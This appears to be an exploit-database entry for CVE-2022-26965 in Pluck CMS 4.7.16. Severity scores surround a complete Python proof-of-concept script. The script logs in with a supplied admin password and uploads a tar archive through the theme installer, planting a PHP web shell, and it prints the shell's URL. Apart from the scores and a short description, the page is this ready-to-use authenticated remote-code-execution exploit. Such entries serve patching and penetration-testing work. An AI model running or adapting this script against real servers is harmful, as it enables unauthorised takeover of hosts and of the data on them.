6.5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
0.029 Low
EPSS
Percentile
90.8%
# Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)
# Date: 13.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Version: 4.7.16
# Tested on Ubuntu 20.04.3 LTS
# CVE: CVE-2022-26965
# Usage : python3 exploit.py <IP> <Port> <Password> <Pluckcmspath>
# Example: python3 exploit.py 127.0.0.1 80 admin /pluck
# Reference: https://github.com/shikari00007/Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC
'''
Description:
A theme upload functinality in Pluck CMS before 4.7.16 allows an admin
privileged user to gain access in the host through the "themes files",
which may result in remote code execution.
'''
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
import struct
'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]
'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(content_len),
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Construct Data:
body = {
'cont1': password,
'bogus': '',
'submit': 'Log in',
}
# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
print('Password incorrect, please try again:')
exit()
else:
print('Authentification was succesfull, uploading webshell')
print('')
'''
Upload Webshell:
'''
# Construct Header:
header1 = {
'Host': target_ip,
'Cache-Control': 'max-age=0',
'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="90"',
'sec-ch-ua-mobile': '?0',
'Origin': 'http://' + target_ip,
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9',
'Cookie': cookie,
'Connection': 'close',
}
# loading Webshell payload:
path = 'shell.tar'
fp = open(path,'rb')
data= fp.read()
# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall'
upload = requests.post(link_upload, headers=header1, data=data)
'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/data/themes/shell/shell.php')
print('')
6.5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
0.029 Low
EPSS
Percentile
90.8%